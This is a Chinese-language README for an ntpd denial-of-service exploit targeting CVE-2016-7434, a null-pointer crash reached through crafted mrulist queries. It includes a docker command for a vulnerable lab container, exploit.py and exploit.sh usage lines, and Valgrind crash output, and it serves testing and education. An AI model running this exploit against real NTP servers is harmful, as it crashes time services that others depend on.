ntpd 存在一个空指针引用问题,可被触发从而导致应用程序崩溃。根据 NTP.org 的说法,“如果 ntpd 被配置为允许来自服务器的 mrulist 查询请求,而该服务器发送了精心构造的恶意数据包,那么 ntpd 在收到该精心构造的恶意 mrulist 查询数据包时将会崩溃。”
ntpd 程序是一个操作系统守护进程,负责设置并维护计算机系统的系统时间,使其与互联网标准时间服务器保持同步。它是网络时间协议(NTP)第 4 版的完整实现,同时保留了与第 1、2、3 版的兼容性。
读取 MRU 列表的例程(read_mru_list)可以在此处找到,此处是异常发生的代码行
如果你想要一个存在漏洞的系统来测试此漏洞利用,可以使用 docker 创建:
docker run --rm -it --name ntpvulnerable -p 123:123/udp vulnerables/cve-2016-7434
它将启动一个 docker 容器,其中运行着一个存在漏洞的 ntpd,这样你就可以对其进行漏洞利用了。
./exploit.py -t <target ip> -p <target port>
./exploit.sh <target ip> <target port>
如果你选择对你的 docker 容器运行漏洞利用,利用成功后将显示如下结果:
==1== Memcheck, a memory error detector
==1== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==1== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
==1== Command: /src/ntpd/ntpd -n -c /ntp.conf
==1==
22 Nov 23:59:27 ntpd[1]: ntpd [email protected] Tue Nov 22 23:28:13 UTC 2016 (1): Starting
22 Nov 23:59:27 ntpd[1]: Command line: /src/ntpd/ntpd -n -c /ntp.conf
22 Nov 23:59:27 ntpd[1]: Cannot set RLIMIT_MEMLOCK: Operation not permitted
22 Nov 23:59:27 ntpd[1]: proto: precision = 4.680 usec (-18)
22 Nov 23:59:27 ntpd[1]: switching logging to file /dev/null
22 Nov 23:59:27 ntpd[1]: Listen and drop on 0 v6wildcard [::]:123
22 Nov 23:59:27 ntpd[1]: Listen and drop on 1 v4wildcard 0.0.0.0:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 2 lo 127.0.0.1:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 3 eth0 172.17.0.2:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 4 lo [::1]:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 5 eth0 [fe80::42:acff:fe11:2%13]:123
22 Nov 23:59:27 ntpd[1]: Listening on routing socket on fd #22 for interface updates
22 Nov 23:59:28 ntpd[1]: start_kern_loop: ntp_loopfilter.c line 1118: ntp_adjtime: Operation not permitted
22 Nov 23:59:28 ntpd[1]: set_freq: ntp_loopfilter.c line 1081: ntp_adjtime: Operation not permitted
==1== Invalid read of size 1
==1== at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==1== by 0x44EB2D: estrdup_impl (emalloc.c:128)
==1== by 0x4192D9: read_mru_list (ntp_control.c:4041)
==1== by 0x423FC1: receive (ntp_proto.c:659)
==1== by 0x412D5F: ntpdmain (ntpd.c:1329)
==1== by 0x4042B8: main (ntpd.c:392)
==1== Address 0x0 is not stack'd, malloc'd or (recently) free'd
==1==
==1==
==1== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==1== Access not within mapped region at address 0x0
==1== at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==1== by 0x44EB2D: estrdup_impl (emalloc.c:128)
==1== by 0x4192D9: read_mru_list (ntp_control.c:4041)
==1== by 0x423FC1: receive (ntp_proto.c:659)
==1== by 0x412D5F: ntpdmain (ntpd.c:1329)
==1== by 0x4042B8: main (ntpd.c:392)
==1== If you believe this happened as a result of a stack
==1== overflow in your program's main thread (unlikely but
==1== possible), you can try to increase the size of the
==1== main thread stack using the --main-stacksize= flag.
==1== The main thread stack size used in this run was 204800.
==1==
==1== HEAP SUMMARY:
==1== in use at exit: 31,476 bytes in 149 blocks
==1== total heap usage: 313 allocs, 164 frees, 310,744 bytes allocated
==1==
==1== LEAK SUMMARY:
==1== definitely lost: 0 bytes in 0 blocks
==1== indirectly lost: 0 bytes in 0 blocks
==1== possibly lost: 2,000 bytes in 2 blocks
==1== still reachable: 29,476 bytes in 147 blocks
==1== suppressed: 0 bytes in 0 blocks
==1== Rerun with --leak-check=full to see details of leaked memory
==1==
==1== For counts of detected and suppressed errors, rerun with: -v
==1== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
valgrind: the 'impossible' happened:
main(): signal was supposed to be fatal
host stacktrace:
==1== at 0x380A48EF: show_sched_status_wrk (m_libcassert.c:319)
sched status:
running_tid=1
本程序或之前的程序仅供教育目的使用。未经许可请勿使用。通常的免责声明同样适用,尤其是本人(opsxcq)不对因直接或间接使用这些程序所提供的信息或功能而造成的任何损害负责。作者或任何互联网服务提供商对这些程序或其任何衍生版本的内容或滥用行为不承担任何责任。使用这些程序即表示你接受以下事实:因使用这些程序而造成的任何损害(数据丢失、系统崩溃、系统入侵等)均非 opsxcq 的责任。
Magnus Klaaborg Stubman(@magnusstubman)发现了此漏洞